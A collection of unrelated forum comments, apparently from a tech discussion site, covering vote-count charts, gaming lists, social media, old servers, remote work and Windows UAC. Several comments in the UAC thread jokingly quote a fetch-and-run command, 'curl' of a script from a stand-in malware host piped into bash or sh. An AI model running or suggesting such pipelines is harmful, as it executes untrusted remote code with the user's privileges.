I would like to add what on the p. 3 you probably want to add a percent of the vote difference, it can help for 'at a glance' 'analysis'.

Great work anyway, and it's interesting how the errors (and not the errors) in the vote coubt manifest. Thanks!



Thanks! I’ll work from this going forward, maybe check it against Wikipedia as a popularity heuristic.

One thing I realized today is that, if I’m doing an “ideal year of gaming”, there’s a limit to the hours I could spend in such a year, which puts a nice limit on how many games I can include. Maybe 100 games per year, tops. This lets me do a lot faster filtering.


There was/is an extension for FF to do a simple dictionary replace.

Not good for anything serious, but fun.


> The latter isn't even much cheaper

Last time I was in McD the price of a salad (even without a chicken!) was close to the cost of BigMac.

But the most amusing is what I opened mcdonalds.com and there is no salads in the menu at all.


LOL?

You don't need to be glued to some social media service 24/7.


Judgement aside,

I used the tag to see conditions of areas I wanted to visit. Like if someone tagged photos, #NationalPark, I could see how much snow was on the ground and bring the right gear.


If getting off it was that easy, a lot less people would be using social media

I believe yes, it's that easy. Zuck is breaking your feed posting ads and low quality retention content, you see only the most vocal discussions, people who post less often are not shown at all, and one day you realize your old FB which was more about connecting with others is just full of shit you have no intention of following at all. Sometimes your muscle memory wins so you open it once or twice to see what is going on, still same unpleasant experience, and then you quit.

R720 is too old, slow and with no paths for the upgrades.

I know, I have one in the DC.

If they aren't packed there are probably some other options, more performant and having more storage now.


> It's about debt on zombie office towers.

No. It's about total loss of the control of the one of the most effective productivity measurements those 'elites' ever had: BiC/h.

Zombie towers too, but the middle management don't (and won't ever) get any profit from the sqaure meters, so they eagerly support their top-level executives specifically because they no longer can imitate the vigorous activity of managing people and projects and with WFH it's became way too obvious. They literally don't know what they subordinates do.

PS: Butt-in-Chair, of course.


What's the "/h"?

Per Hour

> Does it put too much maintenance work on DevOps

... DevOps shouldn't be deploying, administering and maintaining something like NextCloud.

And honestly without any additional input this question sounds like "I worry what I would be in a position when NextCloud wouldn't be able to support the needs of 10000s users. BTW currently it's me myself and my dog in this startup".


> It's a running joke at this point, because Japanese cannot compromise quality to make costs reasonable.

An old anecdote:

A company places an order to produce some gizmo through a Japanese firm. The order states what is could be "up to three non-working gizmos per one hundred in the final shipment". The order is completed, the employee comes to get it, sees a big packed boxes and a small one. He asks "what's in the big boxes?" and receives "That's your one hundred gizmos, like you ordered". He asks again "But what is in this small box there?" and receives "That's your three non-working gizmos, like you ordered".


> Problem number 3, Windows still let you root a machine by 1 line in powershell? What the @$$%&%&#$?

sigh It needs to be run under an account with admin privileges for that. The shield on the "Run" dialog screenshot clearly indicates what it was taken under a user with admin privileges and UAC disabled.

Come on, now cry what Linux still let you root a machine by 1 line in curl malware.zyx/evilscript | bash.


> … by 1 like in curl malware.zyx/evilscript | bash.

Making the script POSIX compliant would allow hacking computers without bash. Then you can pipe it into just “sh” which is guaranteed to be on the PATH.


> it was taken under a user with admin privileges and UAC disabled.

you will have to accept that users either ask this UAC to be turned off, or it gets turned off by the original installer of the windows for the user (presumably non-technical user).

It's like telling traffic accident sufferers that they should've put on a seatbelt. True, but pointless.


> you will have to accept that users either ask this UAC to be turned off

Running with UAC disabled under an admin account?

That's not only a lack of a seatbelt, but wearing a flip-flops too.

And I'm eating my dogfood too, I'm running under a regular user since migrated from Vista, both on personal and work devices. Sometimes it's PITA, sure, but it's manageable.


>Come on, now cry what Linux still let you root a machine by 1 line in curl malware.zyx/evilscript | bash.

Excuse me, but some of us prefer to let evil scripts root our machines via pure sh, thank you very much.


Glad I’m not the only one thinking about POSIX compliance!
